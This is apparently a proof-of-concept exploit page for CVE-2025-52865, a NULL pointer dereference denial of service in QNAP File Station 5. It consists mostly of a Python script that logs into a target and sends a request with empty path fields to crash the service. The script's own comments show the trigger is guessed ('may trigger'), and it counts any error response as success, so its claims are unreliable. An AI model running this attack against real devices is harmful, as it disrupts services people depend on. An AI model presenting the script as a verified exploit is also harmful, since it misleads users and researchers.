CVE-2025-52865 QNAP File Station 5 NULL指针解引用拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-52865 PoC - QNAP File Station 5 NULL Pointer Dereference Note: This PoC is for educational purposes only. """ import requests import sys def exploit(target_ip, username, password): """ Exploit NULL pointer dereference in QNAP File Station 5 """ # Login to get session login_url = f"https://{target_ip}:8080/cgi-bin/filestation/login.cgi" login_data = { "username": username, "password": password } try: session = requests.Session() login_response = session.post(login_url, data=login_data, verify=False) if login_response.status_code != 200: print("[-] Login failed") return False # Trigger NULL pointer dereference via malformed request exploit_url = f"https://{target_ip}:8080/cgi-bin/filestation/fileop.cgi" exploit_data = { "func": "get_file_info", "path": "", # Empty path may trigger NULL dereference "source": "", "dest": "" } response = session.post(exploit_url, data=exploit_data, verify=False) if response.status_code == 500 or "error" in response.text.lower(): print("[+] Service potentially affected - NULL dereference triggered") return True except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] print(f"[*] Targeting {target}...") exploit(target, user, pwd)